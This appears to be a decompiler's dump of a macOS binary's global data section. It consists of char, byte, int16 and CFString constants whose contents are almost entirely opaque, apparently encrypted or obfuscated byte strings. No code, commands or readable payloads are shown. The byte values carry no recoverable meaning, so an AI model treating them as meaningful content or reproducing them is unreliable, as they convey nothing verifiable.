char a1_5[21] = "1\xA7z\x81Y\x02\xDD\x11\x1AU}\xF2\xD9\xE3\xA4\x03\xF5\x8F\xBA\xBE\xF8"; // weak
char asc_10027E360[27] = "\xA4\xD8\x7F\x99=\x9E\xCB\x47\xDC\x01\xFD\x01w\xC6\x1B\x0E\x9B\xE9\x6D\xB9\x00\xB82\x90\xAF:\x82"; // weak
char aUM[33] = "uء/M\xF7\x25\x16\x5D,\x19\x17\f\x0F\x1FJ\x8E*\xA8\xDD\x6F8\xB8s\xD9\x0E\x12gu\x8F\xCA\x6El"; // weak
char asc_10027E420[58] = "\x15\xA1Q|\a\xA4\xC1\x96\xCE\x2D\xD8\x7A*r\xA3%\xBD\x86O3\x87\x96ODf\x11\x1F\xF2\x3E\xF0\x34\x1BG\xB8\xBAh\xA8[\xA8o\x81V\xDB\x0BI\x0E%x\xD5\x6F\x92|tP9F\x96\xB1"; // weak
char asc_10027E4A0[60] = "\\\x93@\xB3\x03\xB21\xC0\xEBL\xE4\x5B\xEF\x00\x97\xE9\x80\xCB\x03]\xEA\x44\xE6\x82\xDA\x33g\xA7\x8A\x87\x893\xF7\xD2\x8B\x72\xFFN?\x90\xF1\x55\xA7\x05Tv\x809\x8C9\xAE\x00f\xE9\xE0\x2E!\x00_\xAB"; // weak
char asc_10027E4EB[15] = "$ \\]ϕ\xBFg^\x95[M\x97\x9A\x8A"; // weak
char asc_10027E530[34] = "\xFA\xC6\x1CHQ\xBF\xF1\x4A\x1C\x39b?\xA5Kk\x8E\xDA\x1AY\r\x85\xCE\xD5\xCA\x21\xA1\xED\x31\xA4\x83\x04|\xBD"; // weak
char asc_10027E590[42] = "\xD7\xFCUbW\xC4\x55\xD4\x58\xC3\x3Ck\xCD\x73\xFC.\x85\x1Dj_<\tp\xB1\x88\xB7\xEB\xD2\xDA\x93\xC6\x1F\xB1\xA3\xA5\x94\x1B\x1Fb\aa{"; // weak
char asc_10027E5F0[37] = "\xF4\x6D\x8D\x6E:\xC7\x28&Z\xE2\xA1\x5C\xD5\x55\xA5\xE7\xBD\x65\x14V\x8B\xD3\x46e0DF|2\xAAmpY\x02\xB3rP"; // weak
char asc_10027E650[37] = "\x82\xC5\x32\x8D8\xCC\xDA\xE7\x17\x6B\x06!\v\xC2\xC7\x94\x98(\xAE\x94wmc\xA2l\n\xEB\x60\x07Z\xBA\x01\f\xA3\xA3\xC1\xB4"; // weak
char a5_4[28] = "5\xDC\xE9m\x90\r\x8C\x12\x16\x8C\xE0\xA1\x54G\xE7\x58\x5E\xAD\xBB\xF4\x1E\x18\xF8\xAC\xCB\x22~"; // weak
char asc_10027E710[65] = "\xB6\\\xA1x94\x12\x12\xB36\xD7\xE9O\xF1\x4F\x05\x60\xB1\x8DYĹ\x17\x04\xFDD+>\x13\xE7\xA8\x6D\xE8\xBA\xE1w?\x18\x95\x8A\x11}6VU\xAC\xA6\xDD\x2BH\xB4\x15\xA2\xEC\x47\x50\xE5\xC8\x54\x11\x83$={e"; // weak
char a2_1[45] = "2\r\xC6\xDA\xE8\xEE\xAA\x1D\xE6\xDD\xF6\x05\xC4\x68\xB6\x10\x12u\xC2\x20M\xC9\x65\x0F^Ct_\t\xB8\x14U\x83\xDC\x3C\x8C\xDF\x2Ey\xFF_\x98\xA9\xC2\x0A"; // weak
char aN_21[30] = "N:\x88\xD5\x47\xBB\xF5\xEC\x2B\x15B\xAA\x17\xF6\xFD\x68\x66.{\xFCNr\n\xF9{n\xE5\x3D\x2F\x9E"; // weak
char aT_8[76] = "t\x9B\x15\x1A蔫K\xC1\x33A\x8A\xB4\x9BP\x10r9\xA6\xAF\xA0\xA4\xC1\xBE߶A\b\x89\xF5\x42\x7A\x72,\x96B\x96\xA3\xF9E7\xF2\xDA\x07\x3Az\x16A\x84\x94\xF5\x2B\x0F\xEE3\v\xD1\x05ϼ\x1D\x9F\xFA\xB0\xB8\xF9\xA3\xA5#\xE4\xD4\x65\x95\x84\x97"; // weak
char a0_1[17] = "0\xB6\xE6\x52\xE7\xD2\x20\xFEYf:\xFC'\x16\xA1\xA0"; // weak
char aS_14[50] = "\x18[s\n\xBE\xA9\xFEڶ\x9Fk\xEB\x78\x36$\xE9\x42\xA7\xCF\x6F\xA6\xA9\x9E\x1B\xE6\x79\x60\x1A\x922{-\xD0\x1Ei\xF2\x0E\xDA\x24'Y\x04\xE0\xFA\xC8\x03&\xB5iv"; // weak
char asc_10027F1C0[22] = "\xE7\x2A\x83]\x9D>{m]\x1FL\xE3\xCB\x33Ǖ\x93\x9Ca"; // weak
char asc_10027F210[33] = "\xC0\x35\x19\x9E$a@RT\xA6)x\xA2\x88\xA9㹕\xB8]nBJ6\x8D\t-\xE7\x2B\x55\xDD\x20\x11"; // weak
char asc_10027F23B[10] = "\xBBd\t\xAC7\xC7\xD4R"; // weak
char aHO[59] = "H\x1B\x06O\xBE\xA1}~\xD4\x79\xA1\xCF\xC7\x85V-\r\xDC\x7A\xFDY\xF1\xBB\xC0\xA2\xDE\xCCc\xD1\xCFC\xD5\xCBN0\xBB\a\u0089\xA7\xBD\x04\x9E?\x8A\xC0\x63\b\x19cS\xAC\xD7\x30\v\x11\xE2\x5C\x3C"; // weak
char asc_10027F300[33] = "\xF8\x92>Gł\x03\n\xCA\x22g\x99\xB3ܚ\xF1\x07\x67\xEA@\xED\xBE\xCB\xAB\xD4\xF5 jԁ"; // weak
char asc_10027F329[8] = "\x8DB\x87\xB8d\xAE\x9E"; // weak
char asc_10027F380[49] = "\xDF\x0D259\x10\xF2\xA2\x87\x2C\x05\x02\x80\x85\xD4\xF4\x1A\xCF\x33\xF99\xA1\xB9\xB3=\xC0\x3B\x14\xA3)\x9A\xCA\x19]\xEE\x49\x60^\xAF\xA4\xA0\xFF\xA5\x99q&\x7F\x1F"; // weak
char a0_2[36] = "0\xC7\xE4k\ni\xFF/Is\t\xBB\xA3\x15OS\x8E\xFBfW4\xB8־\xD1\x10\x12*\xEB\xFD\xA1\x93\x01\x01\bA"; // weak
char asc_10027F65A[6] = "\x8D\\\b|\xCC\x37"; // weak
char asc_10027F6E8[8] = "&\rf\x8E'!\xA6#"; // weak
char aR_14[30] = "R\x8D\x1F赊\x7F\xF1\x70\x1A\x6C\xCF\x6B\xA7\x1A<'~,K\x9C\x92^K\x8FX<6 "; // weak
char asc_10027F750[22] = "<\xA9\x80?ڦް\x11_\xC7\x0C\xF8\xF5\x26\x12\xB8,\x1D1:\xB4"; // weak
char asc_10027F7A0[35] = "F\xD2\x6Fy\xFD7\x9D\x1B<\x18\x15c\xBE\x9E'\x01!2a\xAA\xEE\x2B\x8Bx\xB7\x87\xB9\x01Ov\xB4\a\xC0\xD9}"; // weak
char byte_1002803F0 = '\x9C'; // weak
char byte_1002803F1 = '+'; // weak
char byte_1002803F2 = 'q'; // weak
char byte_1002803F3 = '\xBE'; // weak
char byte_1002803F4 = '\x89'; // weak
char byte_100280B70 = '\xEC'; // idb
char byte_100280B8B = '}'; // weak
char byte_100280B8C = '\xE5'; // weak
char byte_100280B8D = '\x16'; // weak
char byte_100280B8E = 'K'; // weak
char byte_100280B8F = '\xE2'; // weak
char byte_100280B90 = '\xBD'; // weak
char byte_100280B91 = '\x83'; // weak
char byte_100280B92 = '\x1D'; // weak
char byte_100280B93 = 'q'; // weak
char byte_100280B94 = 's'; // weak
char byte_100280B95 = '\xBC'; // weak
char byte_100280B96 = '\xC0'; // weak
char byte_100280B97 = 'p'; // weak
char byte_100280B98 = '\x8D'; // weak
char byte_100280B99 = '\x9E'; // weak
char byte_100280B9A = 'K'; // weak
char asc_100281A30[51] = "\xF3\x04\xF5\x17\xF0\xE2\xD1\xED\riZ\xA3z\xED\x53\x9D\x0FS\xB7}T.Q\x1Cq\xBB\x19g\xED\x34\x77\xCE\x530\xB9{_H\xB2=lǵ\xD4\x6C\xC1\x82\xC8\xCC\xCA\x21"; // weak
__int16 asc_100281AD0[43] =
{
11168,
22017,
-8125,
-28561,
9435,
-4069,
-24552,
-7102,
31882,
-8576,
19933,
-23566,
7346,
-29773,
8921,
6028,
-20131,
-28104,
-17936,
18595,
-20892,
22612,
-9671,
8929,
-13341,
-28704,
1798,
26722,
-25600,
-3223,
-25196,
4522,
-2456,
26240,
13852,
-31522,
22770,
-11298,
-15361,
-17805,
2045,
20646,
29465
}; // weak
char asc_100281B60[41] = "\x00\xC0\x9B+aG\x1D\xE5\xFD\x2Fҹ\xBA\xD6\x65\xF8\xEF\x3D\x92\x91\x8C\x1C\xF7\xBB\xF5\x96\x03\xE6\x78\x6Fn\xF8\x89\t\xE2\xB9\x57\x92\xB7\xF9z"; // weak
__int16 a8_1[60] =
{
-32667,
9728,
6025,
-5118,
-32178,
17291,
7204,
-31026,
-27129,
-26856,
-29568,
-5534,
-25961,
26924,
2341,
-20529,
8312,
7612,
-19456,
15652,
-6086,
-24093,
28516,
10744,
-21467,
-9366,
18409,
-18669,
25866,
-10776,
3380,
23832,
-16893,
22087,
24449,
-11659,
31052,
-15312,
-10562,
-13214,
25455,
23996,
-17392,
-20935,
21830,
19754,
-17922,
-15989,
-17854,
-24572,
4052,
10183,
2886,
4816,
-4816,
21905,
-11179,
-5289,
4171,
11891
}; // weak
char asc_100281CD0[51] = "\x00\xAD\xCC\x23Gލ\u0590cd9P\x13Tɦn\xB9\x1E<\x03\x83/\x96\x91,\\\xB5\x04-@W\x91d\x8E\xFC\x91\x8EM{\xA9\xEF\xF8\xAC\x06\x81k\xC4\xEAJ"; // weak
char aBN[8] = "\x13b\x17n\xEC\x73\xAA"; // weak
char asc_100281D50[46] = "\x8B\xE3\xFE\x79\x12\x81-G[\xA3\x80\x9A\xEA\xFB\xB6\x8E\x99`\x85\x91\xD8\x41\xCE\x74\x96\xD8\xE4\x87\x04\x90\uAA1EBT\xEB\x39\x75\x03UN\xFEn\xB2\x8E\xA2"; // weak
__int16 aO_13[50] =
{
25875,
29318,
-21279,
8248,
-28778,
19087,
-3612,
-10643,
-24575,
-32219,
-15868,
4051,
26042,
20061,
5225,
-3243,
-29067,
30921,
17664,
-11898,
7761,
-25235,
-1460,
-787,
-4925,
31520,
32615,
-12576,
-9052,
-30405,
-22724,
19554,
28085,
-6624,
21199,
1931,
-26589,
-18737,
-12333,
28312,
-64,
-25691,
16449,
7467,
16264,
15046,
-25710,
29273,
-3400,
-27711
}; // weak
char asc_100281E90[39] = "\xCC\xCA\xD0\x7D\xBF_\xC0\x06\xD4\x569\x88\xFA\x13\xBF=7\x860\xE0\x2A\x3E8\xE3\x71\xBCJnH\x8Ay\xC9\x06:\x13\xD6\xD9\xB4c"; // weak
char asc_100281FB0[240] = ">\xF9\xAC\xD7\x7F\x19\xDE\x1F\x84\xD4\x0Ed\\{\x13u\x01\xB9\x194\x9Fo\x06\x88\x06\xA0\x98\x85\xE0\x1D\xFA]\x8B\xAC)\xD9\x3BZ\xD0\x3E\xA5\xDC\x1A\x9Co\xAB\x92\xD2\xD6$%\r\x976\x97\xF6\x03\x7D\x35\x1Ei\x00\x12\xA5\xA3\xE9\xC1\x4F\x9B姝\x0EHQ{\xD5\x44\xA6\xB2WcOK\xD1\xE3\xF8\xB6\xBF\x95\xEB\x83\x70m\x93\x1B\xF7\xAA\x31\x42\x9B\x94\x1D [AV\x01IW\x8F\xCF\x7C{\x89}\x9C!\xEC\xC5\x6B\xE5\x58\xB4X˪+iRQ\":\xC9\xC3\xFFR\x1C589\xEF\x40\x8E\xA1\xE7\xB7\x57\x8D<94\xF1\x7A\x30\x23\xA5\x95\xB54\xED\xD0\xD8Ǭ\x95>\x89\xD6\xDB\bx\xF6\x89\x29\x3C\x91\x98F\xA1\x8B\xA9\xC0\xF1\x95\x16/\x8Djz\xF3\x27\xBC\x03\x05#\x01L\xB5\xBAm\x04\xACL\xA3\xBC\xE7\x6D\xC7\xF5\x18\x0A\x11\xEA\xE3\x2E\"\xBF\x10\xE9\xBD\xFC\xA1\f\t>\x1E\x0F\x1Ai[\xA6X\xDC\x54\xFD\xE9\xA0\x56\x1E"; // weak
__int16 aG_19[51] =
{
24692,
-29874,
-10792,
6019,
-18473,
26648,
-6104,
21366,
-29213,
12365,
26715,
-2895,
-12623,
8725,
22485,
-16000,
29134,
284,
6850,
14822,
-28431,
-7301,
11626,
-15369,
-19854,
-26190,
-7554,
6129,
-31604,
-10991,
12238,
19092,
-6064,
19370,
-11081,
-11531,
12432,
-4925,
-30092,
-26558,
-7586,
-29257,
-21972,
-30399,
-15816,
-27250,
-26038,
21567,
-4362,
-7271,
-19497
}; // weak
__CFString stru_100282360 =
{
&__CFConstantStringClassReference,
1992LL,
"\x8B\xE3\xFE\x79\x12\x81-G[\xA3\x80\x9A\xEA\xFB\xB6\x8E\x99`\x85\x91\xD8\x41\xCE\x74\x96\xD8\xE4\x87\x04\x90\uAA1EBT\xEB\x39\x75\x03UN\xFEn\xB2\x8E\xA2",
45LL
}; // weak
__CFString stru_1002823A0 =
{
&__CFConstantStringClassReference,
1992LL,
"\xCC\xCA\xD0\x7D\xBF_\xC0\x06\xD4\x569\x88\xFA\x13\xBF=7\x860\xE0\x2A\x3E8\xE3\x71\xBCJnH\x8Ay\xC9\x06:\x13\xD6\xD9\xB4c",
38LL
}; // weak
char aJ_12[8] = "J\xB0\xDD\x3FB\x89\x1E"; // weak
char asc_1002824F0[17] = "\x93\xF2\xCC\x3E\xB4D\xE6\x1A\xED\xE2\xA9\x73̉\xDD\x38\x80"; // weak
char asc_100282509[8] = "\x9Ez\x7F\xE2\x8D\x0B"; // weak
char aLh_0[11] = "\x12łh\xF2\x23\x5F\x92;%\x88"; // weak
char asc_100282533[12] = "\x87\xBB\xED\xE4\x9F\xD3\xD4=(\x96\xDD\x4A"; // weak
char asc_100282547[8] = "\xAD\xC5\x34\xEE\xEE\xDD="; // weak
char aT2[7] = "t2\x18\x84\b\x1DS"; // weak
char asc_10028255F[2] = "\xCD\xDF"; // weak
char asc_100282568[7] = "\xFE>\xF5\x8F\x04\x31"; // weak
char aT_12[6] = "T!\x8B\xA55\x18"; // weak
char asc_1002825B0[37] = "H\x15\xB6n\xE3\xBF\x0A\x14PP\x86\x18\xE1\xCF\x7E\xA3Q\x84\xCA\x412\x7F9\xD6\x24\xB3U'8\f\xBD\xD8\x10\x89o\xCF\xE1"; // weak
char asc_1002825E3[14] = "/H,\xD7\x1C\x18\xE2\x74\x87|\x95ģ\x1A"; // weak
char asc_100282620[22] = "\x84\x86yi\x99\x92\x84\xD1\xDAh\xD7\x41D4D\bv\x1C=\xFF"; // weak
char asc_100282640[10] = "\xC9\xF2\x9A\xDB\x51'~Ęr"; // weak
char asc_100282670[21] = "\xB5\xF6\x42\x4F\x5DQ\x81\x8Da\x89\x00\x95\x16<\b\xFF\xDA\xFA86s"; // weak
char asc_1002826B0[18] = "\xB1\x93\x13\x98\xAB\xA3\x0Ȇ\x984\xBA\x15e\xA6\xB2\x94\x87"; // weak
char asc_1002826CB[9] = "\xE1\xD3\x6FW\x7FX\xC6\xDF\x19"; // weak
char asc_100282700[18] = ">\xAB\\\xC4\x6D\x92\x82\xD9\xC7\x89m\xA8\xF1\x3B\xB4\x84\xDE\x4E"; // weak
char asc_10028271E[12] = "\xB0ۃ\x1E\b\vxY\xEC\xE2\x93\x85"; // weak
char aT_11[6] = "t\xE5\x9D\x2C\x0EJ"; // weak
char asc_100282741[11] = "|\x99$\x1E\n\xD5\x45\x15o'\xFD"; // weak
char asc_100282758[12] = ",?\x04\xC8\x4A\x94\x88˖\xBFS\x14"; // weak
char asc_100282790[22] = "\xC9\x01\x7F\x06\x8A\xCC\xE0\xB3\xD7\x18\t\x05\xD7\xC2kȮ'f\xB0\x82"; // weak
char asc_100282FBE[14] = "\xB3\xDD\x67\v\xFC\x85\x12\xAD,1\nV\xA9"; // weak
char byte_100283000 = '\xC2'; // idb
char byte_100283014 = '\x19'; // weak
char byte_100283015 = '{'; // weak
char byte_100283016 = '\xDB'; // weak
char byte_100283017 = 'Z'; // weak
char byte_100283018 = ','; // weak
char byte_100283019 = 'c'; // weak
char byte_10028301A = '='; // weak
char byte_10028301B = '\xC4'; // weak
char byte_10028301C = '\xEA'; // weak
const char aV_21[] = "v"; // idb
char byte_100283071 = 'v'; // weak
char byte_100283072 = '\n'; // weak
char byte_100283073 = '\xBA'; // weak
char byte_100283074 = 'F'; // weak
char byte_100283075 = 's'; // weak
char byte_100283076 = 's'; // weak
const char asc_1002830D0[] = "\t"; // idb
const char _format[] = "'"; // idb
char byte_10028313E = '\xB8'; // weak
char byte_10028313F = '\r'; // weak
char byte_100283140 = '\xD3'; // weak
char byte_100283141 = '\x14'; // weak
char byte_100283142 = '\x13'; // weak
char byte_100283143 = '\xFB'; // weak
char byte_100283144 = '\x9A'; // weak
char byte_100283145 = '@'; // weak
char byte_100283146 = 'd'; // weak
char byte_100283147 = '\xFC'; // weak
char byte_100283148 = '\xEA'; // weak
char byte_100283149 = '\x7F'; // weak
char byte_100283154 = '\x82'; // weak
__int16 aKVH[32] =
{
-14453,
-22623,
-3329,
20250,
28851,
-11527,
-21034,
-13314,
-19849,
-21423,
-1244,
-4152,
-30902,
-26592,
2997,
9534,
-19870,
-26388,
-18332,
-20926,
24558,
-12602,
17943,
21168,
-14293,
-24987,
-7930,
-18824,
21460,
30312,
13283,
4546
}; // weak
char asc_100283210[36] = "\xA9+KU:>\xF0\xE9\x36\xA4\xE3\xDE\xE5d-u\x14s&\x9D\x89\x19\xEC\xCF\x38\xC0\xCDW#\xEF\xFD\xA6\x9D\xDA\xF8\x92"; // weak
char asc_100283260[32] = "\x98D7v\x1E.\xDC\x42\xA6\xF6\x91\xCA\xBC\xAD\xB1\"\xC1\xB6\x1A'ݓ\t\xBE\r\x93\x83\x13j-\x9F"; // weak
char asc_1002832B0[36] = "\x80[9ӯ\x7Fim9\u0379\x04\xCA\x11\xBB\xE7\x07\x96ZnG\x9E(~\x17%-vN\n\xE3\x0B\x8F\x97-\xFE"; // weak
char a5_6[2] = "5\xAC"; // weak
char aE_18[2] = "E"; // weak
char asc_1002832DE[2] = "\xBE\x94"; // weak
char asc_100283300[30] = "\x9C\xCA\x39\x1AP\x1B |\x97qB\xB2\xB8\x7F\x02f\x18\x99\xB8^\xEE\xE1\x05\r\xE2\x4A\x7A\xFA\f"; // weak
const char asc_100283528[] = "<"; // idb
char byte_100283529 = '\x15'; // weak
char byte_10028352A = '\xD2'; // weak
char byte_10028352B = 'j'; // weak
char byte_10028352C = '\v'; // weak
char byte_10028352D = 'x'; // weak
char byte_10028352E = '\t'; // weak
char byte_10028352F = '@'; // weak
char asc_100283570[49] = "\v\xD5\x5B\x8B?\xF1\xE9\xC6\x42=\xEC\x72\xB7\xCB\xF24M\xF8\xE1\x53\xC6\xF8P\xA0\xCD\x07\xFB0f\xCA\x5C\x01\x16\xC7\x47 b\xA3mRs;\xBE\x8EU\xE4\xFD\xDD1"; // weak
char asc_100283620[47] = "\x12\xCF\x5D\xDE\x36\xE1\x37\xDE\ȁk\x05\xAF\x11ng4K\xE3\xD8\x0F.\xC3\x65\xA1\xD8\xFA\x9C\x91t¢f^\xF1\x7C\x29\x50\xEE\x62\x05\x83\xCC\xCA"; // weak
char a3X[5] = "3 X\xA0"; // weak
__int16 asc_1002836B0[38] =
{
10513,
10591,
6394,
10482,
-23774,
28129,
-32531,
-25575,
13536,
-31460,
-22070,
-25497,
18586,
-22956,
6395,
2880,
-18231,
-15417,
-31122,
15996,
-29635,
-19108,
5893,
-17911,
10714,
-10372,
23005,
30343,
10353,
2720,
-5215,
11358,
-30933,
31982,
10948,
17661,
6790,
29966
}; // weak
char asc_100283740[51] = "\x96\xC5\x68N\xF2\xDD\xE5\x3E\x01\xF7\xA1\x33\x90c\xAD\x04\xB1\x85\x89'\xC9\xC9Ӗ\xE2\xFC\x7A\xA1\xE9\x21\xA8\xCB\x7C\xCB\xC1\"\x8El\xFF\xD4\x74\xC4\x2F\xC2\xE1ndZ\xAA\n\x1D"; // weak
__CFString stru_100283960 =
{
&__CFConstantStringClassReference,
1992LL,
"\x9C\xCA\x39\x1AP\x1B |\x97qB\xB2\xB8\x7F\x02f\x18\x99\xB8^\xEE\xE1\x05\r\xE2\x4A\x7A\xFA\f",
29LL
}; // weak
char a4e[35] = "4E\xDA\xECQ\xAB\r\xD4\xD5n\xE3\x9B\xF6\x9D\x1D\x85\xBF#b\xAE\xA5\x85\xE7\x22\xD6\xB0/|ĥ\x90\xA9#0L"; // weak
__int16 aE_19[40] =
{
-26564,
-21603,
25475,
-26953,
22755,
5779,
-2587,
24370,
19575,
-9409,
-22056,
13095,
6193,
13440,
8514,
21538,
3746,
24276,
28783,
17071,
13109,
2747,
-9068,
-22594,
-25126,
-31462,
-26151,
23481,
28194,
-22137,
27610,
20312,
-6918,
5372,
-2805,
9799,
2379,
-18333,
-299,
-26288
}; // weak
__int16 asc_100283AF0[51] =
{
7519,
7645,
10544,
9523,
-30229,
31086,
-27213,
-13234,
-17052,
-23932,
20057,
-2252,
28379,
-8271,
21742,
23508,
24835,
-8361,
3822,
2281,
4877,
-4724,
21390,
1494,
10230,
-22730,
19977,
15331,
-10950,
-8681,
-28657,
19722,
4484,
-26252,
28088,
19302,
-1300,
9482,
27704,
5617,
-28523,
3516,
-26719,
1119,
-22732,
10342,
26530,
30107,
-26552,
-17736,
29190
}; // weak
__int16 aAA[48] =
{
1464,
-10878,
-25164,
-1971,
-26489,
28305,
26274,
5081,
-11132,
18972,
1672,
32239,
-30324,
22944,
-23318,
21149,
-27073,
32527,
17693,
-12481,
21975,
18332,
30764,
28915,
-15347,
-9846,
-12629,
27170,
13024,
-24495,
-10191,
-22979,
6898,
18168,
9509,
19086,
-4464,
-2378,
5205,
-19738,
-1682,
-18929,
-2247,
14026,
18031,
-14417,
-24422,
29045
}; // weak
char asc_100283C22[2] = "\xCE\xFF"; // weak
__int16 asc_100283C90[46] =
{
-784,
-25671,
-1803,
12078,
-19621,
-12771,
-6977,
-5618,
-8911,
23964,
12376,
401,
14870,
10186,
-17353,
-25981,
-1055,
12549,
-5566,
-32684,
-26541,
16803,
9298,
-16445,
15745,
-11849,
-20657,
7948,
32256,
-15795,
26643,
-32454,
-30149,
-24083,
13392,
1373,
-527,
-19779,
-10124,
25033,
26107,
-2461,
5999,
15327,
-11465,
8984
}; // weak
char asc_100283CEE[2] = "\x93Y"; // weak
char asc_100283CF6[6] = "\xFE\xD0\xB6\x83j"; // weak
__int16 aTReOZ[49] =
{
-19725,
-7343,
-30535,
-31233,
-31904,
-27675,
22745,
-11361,
-22820,
-1206,
-17291,
-21888,
-1653,
7772,
8087,
852,
-3600,
-12602,
1256,
-5171,
-32616,
-22200,
-14727,
30395,
-15941,
13916,
-19585,
-18757,
-28550,
27141,
-30674,
23254,
2851,
8469,
5795,
-19117,
19645,
-3952,
-19012,
11205,
6387,
-26361,
12736,
-5239,
1592,
14577,
-9620,
-22833,
14304
}; // weak
char aXu[5] = "Xu\xDF\x19O"; // weak
char asc_100283E10[41] = "\xC2\x0B \x05\xB6\x93\xC9\x59\x11\xE1\xAB\x3E^a\x8E\xC2\x33\xA7\x96\xF2\x94\x45\xE8\xFF\x9C<ԋ^Rt\xC4\xD7\xE2\x07\xAD\x1Ep!\xDF\xF3"; // weak
__int16 asc_100283EB0[54] =
{
-19931,
26798,
-672,
-32412,
-31193,
20264,
-6833,
15617,
11148,
-9395,
-13765,
14424,
27221,
2106,
-22429,
1496,
6755,
31365,
-28083,
7470,
-395,
13219,
-4694,
24138,
22977,
-20855,
12831,
13331,
25326,
14741,
-1971,
21515,
7560,
4067,
-3362,
-32177,
-31041,
-489,
-24733,
-5935,
1893,
-29023,
7309,
1949,
-8633,
18305,
-24416,
-32019,
-27848,
-30259,
-11418,
10227,
27460,
13267
}; // weak
char asc_100283F40[21] = "\xAB\x04\x1C\xB8\xCD\x09\x0E\x05\x15U+\xE1\x88\x13Rj\x9F#5W"; // weak
char asc_100283F90[46] = "\xF7\x60\x3D\xA6\xA6\xA3\xF2\xC2\x7C\xF5\x89\x97\x18A\x98\x16\xF5\x0A\x84\x48M\xD4\x17\x84\x84\xC9\x6E\x96\xE2\xC9\x2B\xE7\x71\x973,Fv\x15\xE7\x65\xC1\xDE\xE7i\xAA"; // weak
char asc_100283FF0[38] = "\xC9\xEF\xFE\x88s\xC3\x49@I\xE3\x22\x841\xFAD\xA9[\xA4\xB8\xFAR\x01=j\xFC\xEF\xE4\xE2\xA6\x00YE\x1A`ֵ\xAA~"; // weak
char aY_15[43] = "y\xE0\x1B\x01f'v\rEa\xF9\xF9.\xEF\x5A\x93\x8C\xBD\xA6\xCD\xEC\xD6\x46B\xBA4\xC1\x0F\xFD\xAEY\x146\xA8~lv\xCC\x6A\xF4\xAB\xA5\x33"; // weak
char asc_100284085[10] = "\xD5\x6E\x10\r\x88\xDA\xD2\x9D~H"; // weak
__CFString stru_100284170 =
{
&__CFConstantStringClassReference,
2000LL,
"\xF0\xFC\xB9\x9B\xF5\xF8\x2E\x2F[\xB3\x1Dο\xE4\x0E\xEA1ݜ]X0\x91\x01\x16:\xCA\x277\xBC\x83\x9A\xE1\xFB\x051B\xEA\x54\x80S\x98\xA3AR$\xFF\x81=\xB7\xD1\x4F\xAF\f\x1F\x00~M\xC2\x13h:\x81;\x8A\xED\xA1\x504]\x05\xF1\xFD\xBD\xB2t\xD8\xC9a\xFBec\xF6\x6F\x17\xDF;7\xD3\x18#",
45LL
}; // weak
char a9_8[44] = "9'\xF2\x65\xEF\xA6\x02\xB7#A\xCF\x02\xF3\xBD\x63\xDA\xA0\xFC\xC2\x5C9$\x89\xA9\xB2(\xC0\xAD\xDD\x46\xC0\x5D\x8E\xFE\x0EZ\xDF\x14\xAE籊{"; // weak
char aD_11[64] = "d\x80\xB7Ɇx8ã\n\xBE\xBB\xF8{!\x03or\xB9i\x9D\x18Z\"\xA5\x82Ř\xA4uӑ\xDA\xFA\x80\xAC\x84\xD3\xD2h\x10\x81l\xAEo\xD9\x58\xB5\xED\x53\x31\xF3\x75\xAB\x5D\x03<Uȹ\x89"; // weak
char asc_1002845FB[11] = "\xAF\u05CF\fy\xC1\x37\xB4\xB4K\x1E"; // weak
char aN_24[51] = "N\x81\xE6\x16\x8Cy\xA5\xE8\xE0\x58I*\x01\x8B(tr;\x11\xE6\x28\xAB\x82\x81\xC6\xC4\xAFg\xC5\x2D(\x19\x8ER\xFD\xF0\xCF\xFA\x02IZ`\x11\bh\xBFO3Z\x8E"; // weak
char asc_100284692[15] = "\x94)Z\x16l=2\xC7\x2F7\xE5\xF8\xAB\xA2"; // weak
char asc_1002846AF[14] = "\xD8\x47\x96\x89\xBFe\tY\xBD\xEB\x5B\xC8KE"; // weak
char asc_1002846C8[11] = "\xE1\x1B\xC0\xAA\xB4\x8A]dУ\x92"; // weak
char asc_100284700[25] = "\xC0\xF6\a\b\xB7D\xAE:u\xA0R\x01\x123G\xBEl\xA6\xBF\xABav\xB2\x19M"; // weak
char asc_10028471E[5] = "\xB1\x0F`\xBEY"; // weak
char asc_100284750[21] = "\x17\xD6\x21\x9C\x8D\x97f\xAC%t#fC\xF4\x30\x0D\xEB\xF7\x5D\xAD\xCF"; // weak
char aC_15[13] = "c#\xD2\x4C\x1C9vQp\x83\x88\x1A"; // weak
__int16 aEI[38] =
{
-22413,
-26546,
24461,
-24800,
15145,
8544,
-9890,
-5494,
17770,
-19332,
626,
7325,
26697,
10241,
-21932,
-18497,
-30837,
28534,
-21155,
7094,
-7887,
6099,
21985,
-26587,
-11561,
-13545,
13214,
18957,
-4320,
32280,
1131,
-368,
29683,
-27140,
31204,
-20925,
6392,
-17344
}; // weak
__CFString cfstr_EI =
{
&__CFConstantStringClassReference,
2000LL,
"s\xA8N\x98\x8D_ \x9F);`!^ي\xEA\x6A\x45|\xB4r\x02\x9D\x1CIh\x01(T\xAA\xBF\xB7\x8B\x87vo]\xAD\xB6\x1B1\xE1\xD3\x17\xE1\x55\x25\x98\xD7\xD2\x17˞3\rJ \xEF\x18\x7Ek\x04\x90\xFE\xF3\x73\xFC\x95\xE4\x79\x43\xAE\xF8\x18@\xBC",
37LL
}; // weak
char byte_100284B27 = '!'; // weak
char byte_100284B28 = '\n'; // weak
char byte_100284B29 = '\xD4'; // weak
char byte_100284B2A = '\xDB'; // weak
char byte_100284B2B = '\x8C'; // weak
char byte_100284B2C = '\xF2'; // weak
char byte_100284B2D = '2'; // weak
char byte_100284B34 = '\x87'; // weak
char byte_100284B35 = ','; // weak
char byte_100284B36 = '\xA6'; // weak
char byte_100284B37 = 'C'; // weak
char byte_100284B38 = '\x06'; // weak
char byte_100284B39 = 'U'; // weak
const char asc_100284B40[] = "x"; // idb
char byte_100284B41 = '\xCC'; // weak
char byte_100284B42 = 'P'; // weak
char byte_100284B43 = '\xB5'; // weak
char byte_100284B44 = '\xAB'; // weak
char byte_100284B45 = '\xA3'; // weak
char asc_100284B70[30] = "\xDC\xCC\x93\xA5\x9Cue\x80\x87=!`\r(\xA2k$U'\x10\xB4r\x1EF \x8F\xA9Ek\xAA"; // weak
char a05k[20] = "05k\xC5\x7F\x16\xAD\xA5\x1FzW\xFD\xA0b\xC6\x38E\x0F\xAC`"; // weak
char asc_100284BF0[24] = "\x0E\x1F\xE2\x40\x3Fx\x96\x02Ç\xDD\x16\xC4\xC5\x0E\x86\xBB·̏=>\x18"; // weak
char asc_100284C0D[5] = "\xEA\x16\x58\x0F"; // weak
char aLWi9z5k[16] = "L\x05wi9Z}5K\xAE5\xF9';\x95F"; // weak
char asc_100284C3D[11] = "*\xFC\x8A\x04\x06\xBA\x82\xC4\x6B\xDB\xDE"; // weak
